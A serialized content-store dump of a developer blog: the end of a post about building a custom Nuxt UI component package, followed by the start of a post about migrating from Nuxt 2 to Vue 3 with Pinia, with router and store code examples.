[",[389,2898,878],{"class":690},[389,2900,850],{"class":399},[389,2902,878],{"class":690},[389,2904,2905],{"class":690},", ",[389,2907,878],{"class":690},[389,2909,2861],{"class":399},[389,2911,878],{"class":690},[389,2913,2905],{"class":690},[389,2915,878],{"class":690},[389,2917,2052],{"class":399},[389,2919,878],{"class":690},[389,2921,2922],{"class":690},"])",[389,2924,2837],{"class":690},[389,2926,2928],{"class":391,"line":2927},123,[389,2929,2930],{"class":698},"    custom\n",[389,2932,2934],{"class":391,"line":2933},124,[389,2935,2936],{"class":690},"  >\n",[389,2938,2940,2943],{"class":391,"line":2939},125,[389,2941,2942],{"class":690},"    \u003C",[389,2944,2945],{"class":694},"ULinkBase\n",[389,2947,2949,2952,2954,2956,2958],{"class":391,"line":2948},126,[389,2950,2951],{"class":698},"      v-bind",[389,2953,702],{"class":690},[389,2955,705],{"class":690},[389,2957,2832],{"class":729},[389,2959,2837],{"class":690},[389,2961,2963,2966,2969,2971,2973,2975,2977,2979],{"class":391,"line":2962},127,[389,2964,2965],{"class":690},"      :",[389,2967,2968],{"class":698},"class",[389,2970,702],{"class":690},[389,2972,705],{"class":690},[389,2974,2459],{"class":729},[389,2976,2017],{"class":690},[389,2978,2482],{"class":1783},[389,2980,2981],{"class":690},"({\n",[389,2983,2985,2988,2991,2993,2995,2997,2999,3001,3003,3005,3007,3009],{"class":391,"line":2984},128,[389,2986,2987],{"class":694},"        class",[389,2989,2990],{"class":690},": [",[389,2992,1370],{"class":729},[389,2994,2017],{"class":690},[389,2996,2459],{"class":729},[389,2998,2122],{"class":690},[389,3000,2482],{"class":729},[389,3002,2905],{"class":690},[389,3004,1370],{"class":729},[389,3006,2017],{"class":690},[389,3008,2968],{"class":729},[389,3010,3011],{"class":690},"],\n",[389,3013,3015,3018],{"class":391,"line":3014},129,[389,3016,3017],{"class":729},"        active",[389,3019,2399],{"class":690},[389,3021,3023,3026,3028,3031,3034,3037,3039,3041,3043],{"class":391,"line":3022},130,[389,3024,3025],{"class":690},"        ...(",[389,3027,2472],{"class":729},[389,3029,3030],{"class":690}," && ",[389,3032,3033],{"class":729},"activeVariant",[389,3035,3036],{"class":690}," ? { ",[389,3038,1086],{"class":694},[389,3040,526],{"class":690},[389,3042,3033],{"class":729},[389,3044,3045],{"class":690}," } : {}),\n",[389,3047,3049,3051,3053,3055,3058,3060,3062,3064,3066],{"class":391,"line":3048},131,[389,3050,3025],{"class":690},[389,3052,2472],{"class":729},[389,3054,3030],{"class":690},[389,3056,3057],{"class":729},"activeColor",[389,3059,3036],{"class":690},[389,3061,1006],{"class":694},[389,3063,526],{"class":690},[389,3065,3057],{"class":729},[389,3067,3068],{"class":690}," } : {})\n",[389,3070,3072,3075],{"class":391,"line":3071},132,[389,3073,3074],{"class":690},"      })",[389,3076,2837],{"class":690},[389,3078,3080,3083,3086,3088,3090,3093],{"class":391,"line":3079},133,[389,3081,3082],{"class":690},"      @",[389,3084,3085],{"class":698},"click",[389,3087,702],{"class":690},[389,3089,705],{"class":690},[389,3091,3092],{"class":729},"onClickWrapper",[389,3094,2837],{"class":690},[389,3096,3098],{"class":391,"line":3097},134,[389,3099,3100],{"class":690},"    >\n",[389,3102,3104,3107,3110,3113,3115,3117,3120,3122],{"class":391,"line":3103},135,[389,3105,3106],{"class":690},"      \u003C",[389,3108,3109],{"class":694},"slot",[389,3111,3112],{"class":698}," name",[389,3114,702],{"class":690},[389,3116,705],{"class":690},[389,3118,3119],{"class":399},"leading",[389,3121,705],{"class":690},[389,3123,713],{"class":690},[389,3125,3127,3130,3133,3136,3138,3140,3143,3145,3148,3150,3152,3155,3157,3159,3161,3163,3165,3167,3169,3171,3173,3175,3178,3181,3183,3185,3187,3189,3191,3193,3195,3197,3199,3202,3204],{"class":391,"line":3126},136,[389,3128,3129],{"class":690},"        \u003C",[389,3131,3132],{"class":694},"UIcon",[389,3134,3135],{"class":719}," v-if",[389,3137,702],{"class":690},[389,3139,705],{"class":690},[389,3141,3142],{"class":729},"isLeading",[389,3144,3030],{"class":690},[389,3146,3147],{"class":729},"leadingIconName",[389,3149,705],{"class":690},[389,3151,2067],{"class":690},[389,3153,3154],{"class":698},"name",[389,3156,702],{"class":690},[389,3158,705],{"class":690},[389,3160,3147],{"class":729},[389,3162,705],{"class":690},[389,3164,2067],{"class":690},[389,3166,2968],{"class":698},[389,3168,702],{"class":690},[389,3170,705],{"class":690},[389,3172,2459],{"class":729},[389,3174,2017],{"class":690},[389,3176,3177],{"class":1783},"leadingIcon",[389,3179,3180],{"class":690},"({ ",[389,3182,2968],{"class":694},[389,3184,526],{"class":690},[389,3186,1370],{"class":729},[389,3188,2017],{"class":690},[389,3190,2459],{"class":729},[389,3192,2122],{"class":690},[389,3194,3177],{"class":729},[389,3196,2905],{"class":690},[389,3198,2472],{"class":729},[389,3200,3201],{"class":690}," })",[389,3203,705],{"class":690},[389,3205,3206],{"class":690}," />\n",[389,3208,3210,3212,3215,3218,3220,3222,3225,3228,3230,3232,3234,3236,3238,3241,3243,3245,3247,3249,3252,3254,3256,3258,3260,3263,3265,3267,3269,3271,3273,3275,3277,3279,3282,3284,3286,3288,3290,3292,3294,3296,3298,3300,3302,3305,3307,3309,3311,3313,3315,3317,3319,3321,3323,3325,3327,3329],{"class":391,"line":3209},137,[389,3211,3129],{"class":690},[389,3213,3214],{"class":694},"UAvatar",[389,3216,3217],{"class":719}," v-else-if",[389,3219,702],{"class":690},[389,3221,705],{"class":690},[389,3223,3224],{"class":690},"!!",[389,3226,3227],{"class":729},"avatar",[389,3229,705],{"class":690},[389,3231,2067],{"class":690},[389,3233,1165],{"class":698},[389,3235,702],{"class":690},[389,3237,705],{"class":690},[389,3239,3240],{"class":690},"((",[389,3242,1370],{"class":729},[389,3244,2017],{"class":690},[389,3246,2459],{"class":729},[389,3248,2122],{"class":690},[389,3250,3251],{"class":729},"leadingAvatarSize",[389,3253,2870],{"class":690},[389,3255,2459],{"class":729},[389,3257,2017],{"class":690},[389,3259,3251],{"class":1783},[389,3261,3262],{"class":690},"()) ",[389,3264,1839],{"class":719},[389,3266,804],{"class":395},[389,3268,991],{"class":690},[389,3270,878],{"class":690},[389,3272,1165],{"class":399},[389,3274,878],{"class":690},[389,3276,2922],{"class":690},[389,3278,705],{"class":690},[389,3280,3281],{"class":698}," v-bind",[389,3283,702],{"class":690},[389,3285,705],{"class":690},[389,3287,3227],{"class":729},[389,3289,705],{"class":690},[389,3291,2067],{"class":690},[389,3293,2968],{"class":698},[389,3295,702],{"class":690},[389,3297,705],{"class":690},[389,3299,2459],{"class":729},[389,3301,2017],{"class":690},[389,3303,3304],{"class":1783},"leadingAvatar",[389,3306,3180],{"class":690},[389,3308,2968],{"class":694},[389,3310,526],{"class":690},[389,3312,1370],{"class":729},[389,3314,2017],{"class":690},[389,3316,2459],{"class":729},[389,3318,2122],{"class":690},[389,3320,3304],{"class":729},[389,3322,2905],{"class":690},[389,3324,2472],{"class":729},[389,3326,3201],{"class":690},[389,3328,705],{"class":690},[389,3330,3206],{"class":690},[389,3332,3334,3337,3339],{"class":391,"line":3333},138,[389,3335,3336],{"class":690},"      \u003C/",[389,3338,3109],{"class":694},[389,3340,713],{"class":690},[389,3342,3344],{"class":391,"line":3343},139,[389,3345,844],{"emptyLinePlaceholder":251},[389,3347,3349,3351,3353],{"class":391,"line":3348},140,[389,3350,3106],{"class":690},[389,3352,3109],{"class":694},[389,3354,713],{"class":690},[389,3356,3358,3360,3362,3364,3366,3368,3371,3374,3376,3379,3381,3383,3385,3387,3389,3391,3393,3395,3397,3399,3401,3403,3405,3407,3409,3411,3413,3415,3417,3419],{"class":391,"line":3357},141,[389,3359,3129],{"class":690},[389,3361,389],{"class":694},[389,3363,3135],{"class":719},[389,3365,702],{"class":690},[389,3367,705],{"class":690},[389,3369,3370],{"class":729},"label",[389,3372,3373],{"class":690}," !== undefined && ",[389,3375,3370],{"class":729},[389,3377,3378],{"class":690}," !== null",[389,3380,705],{"class":690},[389,3382,2067],{"class":690},[389,3384,2968],{"class":698},[389,3386,702],{"class":690},[389,3388,705],{"class":690},[389,3390,2459],{"class":729},[389,3392,2017],{"class":690},[389,3394,3370],{"class":1783},[389,3396,3180],{"class":690},[389,3398,2968],{"class":694},[389,3400,526],{"class":690},[389,3402,1370],{"class":729},[389,3404,2017],{"class":690},[389,3406,2459],{"class":729},[389,3408,2122],{"class":690},[389,3410,3370],{"class":729},[389,3412,2905],{"class":690},[389,3414,2472],{"class":729},[389,3416,3201],{"class":690},[389,3418,705],{"class":690},[389,3420,713],{"class":690},[389,3422,3424,3427,3430],{"class":391,"line":3423},142,[389,3425,3426],{"class":690},"          {{",[389,3428,3429],{"class":729}," label ",[389,3431,3432],{"class":690},"}}\n",[389,3434,3436,3439,3441],{"class":391,"line":3435},143,[389,3437,3438],{"class":690},"        \u003C/",[389,3440,389],{"class":694},[389,3442,713],{"class":690},[389,3444,3446,3448,3450],{"class":391,"line":3445},144,[389,3447,3336],{"class":690},[389,3449,3109],{"class":694},[389,3451,713],{"class":690},[389,3453,3455],{"class":391,"line":3454},145,[389,3456,844],{"emptyLinePlaceholder":251},[389,3458,3460,3462,3464,3466,3468,3470,3473,3475],{"class":391,"line":3459},146,[389,3461,3106],{"class":690},[389,3463,3109],{"class":694},[389,3465,3112],{"class":698},[389,3467,702],{"class":690},[389,3469,705],{"class":690},[389,3471,3472],{"class":399},"trailing",[389,3474,705],{"class":690},[389,3476,713],{"class":690},[389,3478,3480,3482,3484,3486,3488,3490,3493,3495,3498,3500,3502,3504,3506,3508,3510,3512,3514,3516,3518,3520,3522,3524,3527,3529,3531,3533,3535,3537,3539,3541,3543,3545,3547,3549,3551],{"class":391,"line":3479},147,[389,3481,3129],{"class":690},[389,3483,3132],{"class":694},[389,3485,3135],{"class":719},[389,3487,702],{"class":690},[389,3489,705],{"class":690},[389,3491,3492],{"class":729},"isTrailing",[389,3494,3030],{"class":690},[389,3496,3497],{"class":729},"trailingIconName",[389,3499,705],{"class":690},[389,3501,2067],{"class":690},[389,3503,3154],{"class":698},[389,3505,702],{"class":690},[389,3507,705],{"class":690},[389,3509,3497],{"class":729},[389,3511,705],{"class":690},[389,3513,2067],{"class":690},[389,3515,2968],{"class":698},[389,3517,702],{"class":690},[389,3519,705],{"class":690},[389,3521,2459],{"class":729},[389,3523,2017],{"class":690},[389,3525,3526],{"class":1783},"trailingIcon",[389,3528,3180],{"class":690},[389,3530,2968],{"class":694},[389,3532,526],{"class":690},[389,3534,1370],{"class":729},[389,3536,2017],{"class":690},[389,3538,2459],{"class":729},[389,3540,2122],{"class":690},[389,3542,3526],{"class":729},[389,3544,2905],{"class":690},[389,3546,2472],{"class":729},[389,3548,3201],{"class":690},[389,3550,705],{"class":690},[389,3552,3206],{"class":690},[389,3554,3556,3558,3560],{"class":391,"line":3555},148,[389,3557,3336],{"class":690},[389,3559,3109],{"class":694},[389,3561,713],{"class":690},[389,3563,3565,3568,3571],{"class":391,"line":3564},149,[389,3566,3567],{"class":690},"    \u003C/",[389,3569,3570],{"class":694},"ULinkBase",[389,3572,713],{"class":690},[389,3574,3576,3579,3582],{"class":391,"line":3575},150,[389,3577,3578],{"class":690},"  \u003C/",[389,3580,3581],{"class":694},"ULink",[389,3583,713],{"class":690},[389,3585,3587,3589,3591],{"class":391,"line":3586},151,[389,3588,1420],{"class":690},[389,3590,2800],{"class":694},[389,3592,713],{"class":690},[293,3594,3596],{"id":3595},"build-system","Build System",[308,3598,3599,3605,3611,3616],{},[311,3600,3601,3604],{},[314,3602,3603],{},"Vite",": Fast development and building",[311,3606,3607,3610],{},[314,3608,3609],{},"Rollup",": Optimized library bundling",[311,3612,3613,3615],{},[314,3614,501],{},": Full type safety",[311,3617,3618,3621],{},[314,3619,3620],{},"Tree Shaking",": Only import what you use",[284,3623,3625],{"id":3624},"success-stories","🎉 Success Stories",[293,3627,3629],{"id":3628},"developer-feedback","Developer Feedback",[3631,3632,3633],"blockquote",{},[277,3634,3635,3636],{},"\"This library saved me hours of development time. The components are exactly what I needed for my e-commerce project.\" - ",[3637,3638,3639],"em",{},"Ahmed, Full-Stack Developer",[3631,3641,3642],{},[277,3643,3644,3645],{},"\"The accessibility features are top-notch. My client was impressed with the screen reader support.\" - ",[3637,3646,3647],{},"Sarah, UI/UX Developer",[293,3649,3651],{"id":3650},"project-metrics","Project Metrics",[308,3653,3654,3660,3666,3672],{},[311,3655,3656,3659],{},[314,3657,3658],{},"Installations",": Growing steadily",[311,3661,3662,3665],{},[314,3663,3664],{},"GitHub Stars",": Community recognition",[311,3667,3668,3671],{},[314,3669,3670],{},"Issue Resolution",": Quick response times",[311,3673,3674,3677],{},[314,3675,3676],{},"Update Frequency",": Regular releases",[284,3679,3681],{"id":3680},"questions-for-you","🤔 Questions for You",[308,3683,3684,3687,3690,3693],{},[311,3685,3686],{},"What components are you missing in your current UI libraries?",[311,3688,3689],{},"Have you tried building your own component library?",[311,3691,3692],{},"What's your experience with Nuxt UI or similar libraries?",[311,3694,3695],{},"How do you handle theming and customization in your projects?",[284,3697,3699],{"id":3698},"lessons-learned","💡 Lessons Learned",[3701,3702,3703,3709,3715,3721,3727],"ol",{},[311,3704,3705,3708],{},[314,3706,3707],{},"Start with Real Problems",": Don't build solutions looking for problems",[311,3710,3711,3714],{},[314,3712,3713],{},"Leverage Existing Work",": Build on top of proven foundations",[311,3716,3717,3720],{},[314,3718,3719],{},"Quality Over Quantity",": Better to have fewer, well-tested components",[311,3722,3723,3726],{},[314,3724,3725],{},"Community First",": Listen to users and iterate based on feedback",[311,3728,3729,3732],{},[314,3730,3731],{},"Documentation Matters",": Good docs are as important as good code",[284,3734,3736],{"id":3735},"lets-build-together","🚀 Let's Build Together!",[277,3738,3739],{},"This journey started from my daily development needs, but it doesn't have to end there. Whether you're a developer looking for better UI components, someone wanting to contribute to open source, or just curious about the process – you're welcome to join!",[293,3741,3743],{"id":3742},"get-started-today","Get Started Today",[380,3745,3746],{"className":382,"code":383,"language":384,"meta":96,"style":96},[386,3747,3748],{"__ignoreMap":96},[389,3749,3750,3752,3754],{"class":391,"line":392},[389,3751,396],{"class":395},[389,3753,400],{"class":399},[389,3755,403],{"class":399},[293,3757,3759],{"id":3758},"join-the-community","Join the Community",[308,3761,3762,3767,3773],{},[311,3763,3764,3766],{},[314,3765,47],{},": Star the repo, open issues, submit PRs",[311,3768,3769,3772],{},[314,3770,3771],{},"Discussions",": Share ideas and get help",[311,3774,3775,3778],{},[314,3776,3777],{},"Contributing",": Every contribution is valuable",[3780,3781],"hr",{},[277,3783,3784],{},[3637,3785,3786],{},"This package was built from real-world needs and is actively maintained. More improvements are coming very soon insha'Allah. If you've got ideas, suggestions, or want to contribute — you're more than welcome! ❤️ Let's grow this together!",[277,3788,3789],{},[3637,3790,3791],{},"Follow me for more insights on Vue development, component libraries, and open source projects!",[3793,3794,3795],"style",{},"html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .s6hCs, html code.shiki .s6hCs{--shiki-light:#9C3EDA;--shiki-light-font-style:italic;--shiki-default:#C792EA;--shiki-default-font-style:italic;--shiki-dark:#C792EA;--shiki-dark-font-style:italic}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .sfNiH, html code.shiki .sfNiH{--shiki-light:#FF5370;--shiki-default:#FF9CAC;--shiki-dark:#FF9CAC}",{"title":96,"searchDepth":716,"depth":716,"links":3797},[3798,3799,3805,3806,3809,3815,3816,3817,3818,3822,3823,3827,3831,3832,3833],{"id":286,"depth":716,"text":287},{"id":290,"depth":716,"text":291,"children":3800},[3801,3802,3803,3804],{"id":295,"depth":748,"text":296},{"id":302,"depth":748,"text":303},{"id":320,"depth":748,"text":321},{"id":327,"depth":748,"text":328},{"id":334,"depth":716,"text":335},{"id":373,"depth":716,"text":374,"children":3807},[3808],{"id":377,"depth":748,"text":378},{"id":406,"depth":716,"text":407,"children":3810},[3811,3812,3813,3814],{"id":410,"depth":748,"text":411},{"id":417,"depth":748,"text":418},{"id":424,"depth":748,"text":425},{"id":445,"depth":748,"text":446},{"id":475,"depth":716,"text":476},{"id":517,"depth":716,"text":518},{"id":562,"depth":716,"text":563},{"id":582,"depth":716,"text":583,"children":3819},[3820,3821],{"id":586,"depth":748,"text":587},{"id":604,"depth":748,"text":605},{"id":640,"depth":716,"text":641},{"id":673,"depth":716,"text":674,"children":3824},[3825,3826],{"id":677,"depth":748,"text":678},{"id":3595,"depth":748,"text":3596},{"id":3624,"depth":716,"text":3625,"children":3828},[3829,3830],{"id":3628,"depth":748,"text":3629},{"id":3650,"depth":748,"text":3651},{"id":3680,"depth":716,"text":3681},{"id":3698,"depth":716,"text":3699},{"id":3735,"depth":716,"text":3736,"children":3834},[3835,3836],{"id":3742,"depth":748,"text":3743},{"id":3758,"depth":748,"text":3759},"2025-07-25T00:00:00.000Z","A detailed journey of building @eslamdevui/ui, a custom Nuxt UI package born from actual project requirements and daily development challenges.","md","https://nuxt.com/assets/blog/nuxt-ui-v3.png",{"tags":3842},[3843,3844,3845,3846,3847,3848,3849],"Vue 3","Nuxt 3","Tailwind CSS","Nuxt UI","Component Library","Open Source","Web Development",{"title":10,"description":3838},"pTBwyI_FU915_MYwFCNq5KtE1VvYl8cv--M_8iHK8wI",{"id":3853,"title":18,"author":3854,"body":3856,"date":4759,"description":4760,"extension":3839,"image":4761,"meta":4762,"minRead":818,"navigation":251,"path":19,"seo":4768,"stem":20,"__hash__":4769},"blog/blog/mastering-nuxt-3-performance-optimization.md",{"name":270,"avatar":3855},{"src":272,"alt":270},{"type":274,"value":3857,"toc":4724},[3858,3861,3865,3869,3872,3876,3879,3883,3886,3890,3893,3897,3901,3904,3908,3919,3923,3930,3934,3937,3941,3945,3948,3952,3955,3959,3962,3966,3970,3973,3977,4014,4018,4116,4120,4255,4259,4566,4570,4574,4594,4598,4618,4622,4642,4645,4677,4681,4684,4687,4691,4694,4705,4708,4711,4714,4716,4721],[277,3859,3860],{},"Recently, I've been working on upgrading a project from Nuxt 2 to Vue 3 only, and replacing Vuex with Pinia. The experience was full of challenges, but I learned so much from it!",[284,3862,3864],{"id":3863},"why-i-decided-to-upgrade-and-leave-nuxt-behind","Why I Decided to Upgrade and Leave Nuxt Behind",[293,3866,3868],{"id":3867},"better-performance-and-composition-api-support","✅ Better Performance and Composition API Support",[277,3870,3871],{},"Vue 3 offers superior performance and much better support for the Composition API, making the development experience significantly smoother.",[293,3873,3875],{"id":3874},"pinia-vs-vuex","✅ Pinia vs Vuex",[277,3877,3878],{},"Pinia is much simpler than Vuex and doesn't require mutations like Vuex does, making state management much more straightforward and intuitive.",[293,3880,3882],{"id":3881},"nuxt-2-limitations","✅ Nuxt 2 Limitations",[277,3884,3885],{},"Nuxt 2 relies on Vue 2, and its support is declining. I needed to take a step forward and transition directly to Vue 3 without depending on Nuxt.",[293,3887,3889],{"id":3888},"project-requirements","✅ Project Requirements",[277,3891,3892],{},"The project requirements specifically needed Vue 3 only to work with Laravel Mix, which was a key factor in my decision.",[284,3894,3896],{"id":3895},"the-biggest-challenges-i-faced","The Biggest Challenges I Faced",[293,3898,3900],{"id":3899},"losing-nuxt-features","🔹 Losing Nuxt Features",[277,3902,3903],{},"In Nuxt, I had ready-made features like auto-imports, file-based routing, and SSR. With Vue 3, I had to configure everything manually, which was quite a learning curve.",[293,3905,3907],{"id":3906},"vue-router-changes","🔹 Vue Router Changes",[277,3909,3910,3911,3914,3915,3918],{},"Instead of NuxtLink, I now had to use ",[386,3912,3913],{},"createRouter"," with ",[386,3916,3917],{},"createWebHistory()",". This was a significant change in how I defined routes and handled navigation.",[293,3920,3922],{"id":3921},"converting-components-from-options-api-to-composition-api","🔹 Converting Components from Options API to Composition API",[277,3924,3925,3926,3929],{},"The ",[386,3927,3928],{},"setup()"," function completely changed my way of thinking about component structure. But honestly, it makes the code cleaner and much easier to read.",[293,3931,3933],{"id":3932},"migrating-from-vuex-to-pinia","🔹 Migrating from Vuex to Pinia",[277,3935,3936],{},"Vuex relied on mutations and actions, but Pinia makes state management more direct and easier to work with. The transition was smoother than expected.",[284,3938,3940],{"id":3939},"what-i-gained-from-this-experience","What I Gained from This Experience",[293,3942,3944],{"id":3943},"deeper-understanding-of-vue-core-concepts","💡 Deeper Understanding of Vue Core Concepts",[277,3946,3947],{},"Leaving Nuxt 2 behind helped me understand Vue's core concepts much more deeply. I now have a better grasp of what's happening under the hood.",[293,3949,3951],{"id":3950},"gradual-migration-is-key","💡 Gradual Migration is Key",[277,3953,3954],{},"There's no need to rush the upgrade process. Try everything step by step to ensure your app works without issues. This approach saved me from many potential problems.",[293,3956,3958],{"id":3957},"documentation-is-your-best-friend","💡 Documentation is Your Best Friend",[277,3960,3961],{},"Reading the documentation before starting the migration helped me tremendously. It's essential to understand the changes before diving in.",[284,3963,3965],{"id":3964},"the-migration-process","The Migration Process",[293,3967,3969],{"id":3968},"step-1-planning-and-preparation","Step 1: Planning and Preparation",[277,3971,3972],{},"I started by thoroughly reading the Vue 3 migration guide and understanding the breaking changes. This preparation phase was crucial for a smooth transition.",[293,3974,3976],{"id":3975},"step-2-setting-up-vue-3","Step 2: Setting Up Vue 3",[380,3978,3980],{"className":382,"code":3979,"language":384,"meta":96,"style":96},"# Installing Vue 3 and related packages\nnpm install vue@3 vue-router@4 pinia@2\nnpm install -D @vitejs/plugin-vue\n",[386,3981,3982,3987,4002],{"__ignoreMap":96},[389,3983,3984],{"class":391,"line":392},[389,3985,3986],{"class":955},"# Installing Vue 3 and related packages\n",[389,3988,3989,3991,3993,3996,3999],{"class":391,"line":716},[389,3990,396],{"class":395},[389,3992,400],{"class":399},[389,3994,3995],{"class":399}," vue@3",[389,3997,3998],{"class":399}," vue-router@4",[389,4000,4001],{"class":399}," pinia@2\n",[389,4003,4004,4006,4008,4011],{"class":391,"line":748},[389,4005,396],{"class":395},[389,4007,400],{"class":399},[389,4009,4010],{"class":399}," -D",[389,4012,4013],{"class":399}," @vitejs/plugin-vue\n",[293,4015,4017],{"id":4016},"step-3-router-configuration","Step 3: Router Configuration",[380,4019,4023],{"className":4020,"code":4021,"language":4022,"meta":96,"style":96},"language-javascript shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","// Before (Nuxt 2)\n// Nuxt handled routing automatically\n\n// After (Vue 3)\nimport { createRouter, createWebHistory } from 'vue-router'\n\nconst routes = [\n  {\n    path: '/',\n    name: 'Home',\n    component: () => import('@/views/Home.vue')\n  },\n  // ... more routes\n]\n\nconst router = createRouter({\n  history: createWebHistory(),\n  routes\n})\n","javascript",[386,4024,4025,4030,4035,4039,4044,4049,4053,4058,4063,4068,4073,4078,4083,4088,4092,4096,4101,4106,4111],{"__ignoreMap":96},[389,4026,4027],{"class":391,"line":392},[389,4028,4029],{},"// Before (Nuxt 2)\n",[389,4031,4032],{"class":391,"line":716},[389,4033,4034],{},"// Nuxt handled routing automatically\n",[389,4036,4037],{"class":391,"line":748},[389,4038,844],{"emptyLinePlaceholder":251},[389,4040,4041],{"class":391,"line":766},[389,4042,4043],{},"// After (Vue 3)\n",[389,4045,4046],{"class":391,"line":789},[389,4047,4048],{},"import { createRouter, createWebHistory } from 'vue-router'\n",[389,4050,4051],{"class":391,"line":818},[389,4052,844],{"emptyLinePlaceholder":251},[389,4054,4055],{"class":391,"line":841},[389,4056,4057],{},"const routes = [\n",[389,4059,4060],{"class":391,"line":847},[389,4061,4062],{},"  {\n",[389,4064,4065],{"class":391,"line":883},[389,4066,4067],{},"    path: '/',\n",[389,4069,4070],{"class":391,"line":888},[389,4071,4072],{},"    name: 'Home',\n",[389,4074,4075],{"class":391,"line":940},[389,4076,4077],{},"    component: () => import('@/views/Home.vue')\n",[389,4079,4080],{"class":391,"line":952},[389,4081,4082],{},"  },\n",[389,4084,4085],{"class":391,"line":959},[389,4086,4087],{},"  // ... more routes\n",[389,4089,4090],{"class":391,"line":975},[389,4091,1011],{},[389,4093,4094],{"class":391,"line":981},[389,4095,844],{"emptyLinePlaceholder":251},[389,4097,4098],{"class":391,"line":1014},[389,4099,4100],{},"const router = createRouter({\n",[389,4102,4103],{"class":391,"line":1042},[389,4104,4105],{},"  history: createWebHistory(),\n",[389,4107,4108],{"class":391,"line":1047},[389,4109,4110],{},"  routes\n",[389,4112,4113],{"class":391,"line":1059},[389,4114,4115],{},"})\n",[293,4117,4119],{"id":4118},"step-4-state-management-with-pinia","Step 4: State Management with Pinia",[380,4121,4123],{"className":4020,"code":4122,"language":4022,"meta":96,"style":96},"// Before (Vuex)\nexport default {\n  state: {\n    user: null\n  },\n  mutations: {\n    SET_USER(state, user) {\n      state.user = user\n    }\n  },\n  actions: {\n    async fetchUser({ commit }) {\n      const user = await api.getUser()\n      commit('SET_USER', user)\n    }\n  }\n}\n\n// After (Pinia)\nexport const useUserStore = defineStore('user', () => {\n  const user = ref(null)\n  \n  const fetchUser = async () => {\n    user.value = await api.getUser()\n  }\n  \n  return { user, fetchUser }\n})\n",[386,4124,4125,4130,4135,4140,4145,4149,4154,4159,4164,4168,4172,4177,4182,4187,4192,4196,4200,4204,4208,4213,4218,4223,4228,4233,4238,4242,4246,4251],{"__ignoreMap":96},[389,4126,4127],{"class":391,"line":392},[389,4128,4129],{},"// Before (Vuex)\n",[389,4131,4132],{"class":391,"line":716},[389,4133,4134],{},"export default {\n",[389,4136,4137],{"class":391,"line":748},[389,4138,4139],{},"  state: {\n",[389,4141,4142],{"class":391,"line":766},[389,4143,4144],{},"    user: null\n",[389,4146,4147],{"class":391,"line":789},[389,4148,4082],{},[389,4150,4151],{"class":391,"line":818},[389,4152,4153],{},"  mutations: {\n",[389,4155,4156],{"class":391,"line":841},[389,4157,4158],{},"    SET_USER(state, user) {\n",[389,4160,4161],{"class":391,"line":847},[389,4162,4163],{},"      state.user = user\n",[389,4165,4166],{"class":391,"line":883},[389,4167,2569],{},[389,4169,4170],{"class":391,"line":888},[389,4171,4082],{},[389,4173,4174],{"class":391,"line":940},[389,4175,4176],{},"  actions: {\n",[389,4178,4179],{"class":391,"line":952},[389,4180,4181],{},"    async fetchUser({ commit }) {\n",[389,4183,4184],{"class":391,"line":959},[389,4185,4186],{},"      const user = await api.getUser()\n",[389,4188,4189],{"class":391,"line":975},[389,4190,4191],{},"      commit('SET_USER', user)\n",[389,4193,4194],{"class":391,"line":981},[389,4195,2569],{},[389,4197,4198],{"class":391,"line":1014},[389,4199,2161],{},[389,4201,4202],{"class":391,"line":1042},[389,4203,1342],{},[389,4205,4206],{"class":391,"line":1047},[389,4207,844],{"emptyLinePlaceholder":251},[389,4209,4210],{"class":391,"line":1059},[389,4211,4212],{},"// After (Pinia)\n",[389,4214,4215],{"class":391,"line":1064},[389,4216,4217],{},"export const useUserStore = defineStore('user', () => {\n",[389,4219,4220],{"class":391,"line":1093},[389,4221,4222],{},"  const user = ref(null)\n",[389,4224,4225],{"class":391,"line":1121},[389,4226,4227],{},"  \n",[389,4229,4230],{"class":391,"line":1126},[389,4231,4232],{},"  const fetchUser = async () => {\n",[389,4234,4235],{"class":391,"line":1138},[389,4236,4237],{},"    